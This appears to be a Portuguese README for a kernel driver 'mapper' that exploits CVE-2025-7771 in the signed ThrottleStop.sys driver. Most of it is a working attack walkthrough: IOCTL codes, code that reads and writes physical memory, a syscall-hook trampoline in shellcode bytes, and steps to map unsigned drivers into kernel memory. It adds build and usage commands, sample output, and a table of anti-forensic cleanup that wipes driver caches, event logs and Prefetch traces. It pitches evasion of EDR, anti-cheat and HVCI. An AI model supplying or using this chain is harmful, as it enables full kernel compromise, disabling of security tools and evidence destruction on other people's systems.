
Escalada de privilégios no sistema a partir de driver não assinado usando a vulnerabilidade do ThrottleStop
CVE-2025-7771 — Leitura/Gravação Arbitrária de Memória Física via IOCTLs do ThrottleStop.sys
Este projeto é publicado somente para fins educacionais e de pesquisa. O objetivo é demonstrar como um driver de kernel assinado e confiável pode ser usado como arma para escalonamento local de privilégios (LPE) de Administrador para SYSTEM/Kernel, contornando efetivamente recursos modernos de segurança do Windows, incluindo HVCI (Integridade de Código Imposta por Hypervisor) e Secure Boot.
Não use esta ferramenta para fins maliciosos. O autor não é responsável por qualquer uso indevido.
ThrottleStop.sys com IOCTLs de mapeamento de memória físicaO driver de kernel ThrottleStop.sys expõe um dispositivo (\\.\ThrottleStop) acessível a qualquer Administrador local. Ele implementa dois IOCTLs que fornecem acesso irrestrito à memória física:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
O driver chama MmMapIoSpace() para mapear o endereço físico solicitado no espaço virtual do kernel, copia os dados para o buffer de saída e então chama MmUnmapIoSpace(). Nenhuma validação é realizada no endereço físico — qualquer endereço do espaço de endereçamento físico pode ser lido.
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
Mesmo mecanismo da leitura, mas grava dados fornecidos pelo usuário no endereço físico mapeado. Novamente, nenhuma validação de endereço ou intervalo.
O driver foi projetado para permitir que o ThrottleStop (um utilitário de undervolting/throttling de CPU) lesse/gravasse diretamente MSRs e registradores de hardware. Os IOCTLs de memória física foram provavelmente adicionados para acesso MMIO ao espaço de configuração PCI ou aos sensores térmicos da CPU, mas a implementação realiza zero verificação de limites:
GENERIC_READ | GENERIC_WRITEIsso transforma um driver legítimo de utilitário de hardware em uma primitiva completa de leitura/gravação em nível de kernel.
A cadeia de exploração eleva de uma conta de Administrador local para execução arbitrária de código no kernel, alcançando efetivamente controle ring-0 em nível de SYSTEM.
O mapper grava ThrottleStop.sys em %TEMP%, cria uma entrada de registro de serviço em HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop e o carrega via NtLoadDriver():
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Nota: Como o ThrottleStop.sys é legitimamente assinado, ele é carregado mesmo com HVCI/Secure Boot habilitados. A política de CI do Windows confia no certificado.
Com o handle do dispositivo, o exploit pode ler/gravar qualquer endereço físico do sistema:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
O exploit encapsula essas operações em funções auxiliares que lidam com leituras/gravações em blocos (1, 2, 4 ou 8 bytes por chamada) para transferências de comprimento arbitrário.
Para executar funções arbitrárias do kernel, o exploit precisa encontrar o endereço físico de um manipulador de syscall do kernel. Ele tem como alvo NtSetEaFile (uma syscall raramente monitorada):
ntoskrnl.exe no modo usuário via LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) e obter o RVA de NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), avançar em passos de 2MB e comparar bytes:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid) e verificar se a base retornada corresponde a GetModuleHandle(NULL).Uma vez conhecido o endereço físico de NtSetEaFile, o exploit instala um trampolim de 12 bytes diretamente via gravações na memória física:
; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// Install hook
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <target address>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Trigger from usermode
NtSetEaFile(args...); // → jumps to target_function in kernel!
// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);
Insight fundamental: Gravar na página física contorna as proteções de memória virtual da HVCI. A HVCI impede páginas virtuais
W+X, mas as gravações na memória física viaMmMapIoSpaceno driver vão diretamente para a RAM.
Com a primitiva de hook de syscall, o exploit pode chamar qualquer função do kernel com argumentos arbitrários:
// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
Isso efetivamente mapeia e executa um driver não assinado no espaço do kernel — escalonamento completo de privilégios.
Após carregar o payload, o exploit apaga todos os vestígios:
HVCI (Integridade de Código Imposta por Hypervisor) impede que código não assinado seja executado no espaço do kernel aplicando W^X (Write XOR Execute) nas páginas virtuais do kernel por meio da Tradução de Endereços de Segundo Nível (SLAT/EPT).
Este exploit contorna a HVCI porque:
Driver Legítimo: ThrottleStop.sys é devidamente assinado e passa na validação de CI, portanto é carregado normalmente mesmo com a HVCI ativa.
Físico sobre Virtual: Os IOCTLs usam MmMapIoSpace(), que opera em endereços físicos. As proteções da HVCI são aplicadas no nível da tabela de páginas virtuais e via EPT, mas MmMapIoSpace cria um novo mapeamento virtual para a página física com permissões adequadas. A gravação na página física da syscall modifica o conteúdo da RAM para o qual o mapeamento virtual existente já aponta.
Pool Executável: O exploit aloca memória via ExAllocatePool2 com POOL_FLAG_NON_PAGED_EXECUTE, que é uma forma legítima e aprovada pela HVCI de obter memória de kernel executável. O próprio kernel usa isso para código compilado em JIT e certas alocações de pool.
Nenhum Carregamento de Driver Não Assinado: O mapper nunca chama NtLoadDriver com uma imagem não assinada. Em vez disso, ele grava manualmente o payload em uma alocação de pool do kernel já executável e chama seu ponto de entrada via o hook de syscall.
┌─────────────────────────────────────────────┐
│ Usermode (Admin) │
│ │
│ 1. Load ThrottleStop.sys (signed, trusted) │
│ 2. Open \\.\ThrottleStop device │
│ 3. Read/Write physical memory via IOCTLs │
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (Kernel) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ No validation, any physical address OK │
└──────────────┬──────────────────────────────┘
│ Physical Memory Write
▼
┌─────────────────────────────────────────────┐
│ NtSetEaFile Physical Page │
│ │
│ Original bytes overwritten with: │
│ mov rax, <payload>; push rax; ret │
│ │
│ → Any usermode NtSetEaFile() call now │
│ executes arbitrary kernel code │
└──────────────┬──────────────────────────────┘
│ Kernel Code Execution
▼
┌─────────────────────────────────────────────┐
│ Full Kernel Compromise │
│ │
│ • ExAllocatePool2 (executable pool) │
│ • Map unsigned driver into kernel memory │
│ • Call DriverEntry → SYSTEM-level access │
│ • Scrub all forensic artifacts │
└─────────────────────────────────────────────┘
git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Open imxyviMapper.sln in Visual Studio
# Build → x64 Release
# Basic usage — auto-scans physical memory for syscall page
mapper.exe payload_driver.sys
# With pre-computed kernel CR3 (faster, skips scan)
mapper.exe payload_driver.sys 1AD000
[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done
ThrottleStop.sys à Lista de Bloqueio de Drivers Vulneráveis da MicrosoftMmMapIoSpace que visam endereços físicos respaldados por RAM provenientes de drivers fora da lista de permissõesrdmsr/wrmsr) em vez de MmMapIoSpace brutoMmMapIoSpace a faixas MMIO conhecidas (regiões de BAR PCI, LAPIC, etc.)ThrottleStop.sys por hashEste projeto é lançado sob a Licença MIT para fins educacionais e de pesquisa. O framework subjacente physmeme é © 2020 xerox (Licença MIT).
🔬 Divulgação Responsável: Esta vulnerabilidade foi descoberta por Demoo1337 e divulgada ao fornecedor. Este repositório serve como documentação para a comunidade de pesquisa em segurança.
| Campo | Detalhes |
|---|
| CVE | CVE-2025-7771 |
| Driver | ThrottleStop.sys (fornecido com ThrottleStop) |
| Fornecedor | TechPowerUp / Kevin Glynn |
| Tipo | Leitura/Gravação Arbitrária de Memória Física |
| Impacto | Escalonamento Local de Privilégios (Admin → Kernel) |
| CVSS | 8.2 (Alta) |
| Assinatura | Assinado pela Microsoft via WHQL / Atestação |
| Bypass de HVCI | ✅ Sim — driver legitimamente assinado, permitido pela política de CI |
| Artefato | Método de Limpeza |
|---|
| Cache PiDDB | Desbloqueia PiDDBLock, localiza a entrada na árvore AVL via RtlLookupElementGenericTableAvl, desvincula e exclui |
| MmUnloadedDrivers | Escaneia o buffer circular de 50 entradas, zera o nome e a entrada correspondentes |
| BigPoolTable | Escaneia PoolBigPageTable em busca do VA da alocação e zera a entrada |
| Cabeçalho do Pool | Falsifica a tag do POOL_HEADER para MmSt (tag comum do sistema) |
| Cabeçalhos PE | Zera cabeçalhos DOS/NT, diretório de importação, diretório de depuração e seções descartáveis na alocação do kernel |
| Registro | Exclui a árvore de chaves HKLM\...\Services\ThrottleStop |
| Arquivo do Driver | Exclui ThrottleStop.sys de %TEMP% |
| Logs de Eventos | Limpa entradas relevantes dos logs Sistema e Segurança |
| Prefetch / BAM | Limpa artefatos de ShimCache, BAM (Background Activity Moderator) e Prefetch |
| Categoria | Impacto |
|---|
| Confidencialidade | 🔴 Total — lê qualquer memória do kernel/processos |
| Integridade | 🔴 Total — grava em qualquer estrutura do kernel, aplica hook em qualquer função |
| Disponibilidade | 🟡 Alta — gravações incorretas causam BSOD |
| Bypass de Autenticação | 🔴 Acesso SYSTEM a partir de Admin |
| Bypass de Anti-Cheat | 🔴 Contorna anti-cheat em nível de kernel (EAC, BattlEye, Vanguard) |
| Bypass de EDR | 🔴 Executa abaixo dos hooks de EDR, pode remover hooks/desativar ferramentas de segurança |
| HVCI | 🔴 Contornada via driver assinado legítimo |
| Secure Boot | 🔴 Contornado (driver possui assinatura válida) |
| Quem | Contribuição |
|---|
| Demoo1337 | Descoberta original e documentação da CVE-2025-7771. Fez engenharia reversa dos manipuladores de IOCTL do ThrottleStop.sys, identificou a vulnerabilidade de memória física MmMapIoSpace e publicou a prova de conceito inicial do exploit. Este projeto não existiria sem sua pesquisa. |
| xerox / IDontCode | Autor do framework physmeme usado como base para o mapper de kernel, hook de syscall e lógica de limpeza forense. |
| TheCruZ | Autor do kdmapper, cujas técnicas de limpeza do cache PiDDB e mapeamento de drivers informaram esta implementação. |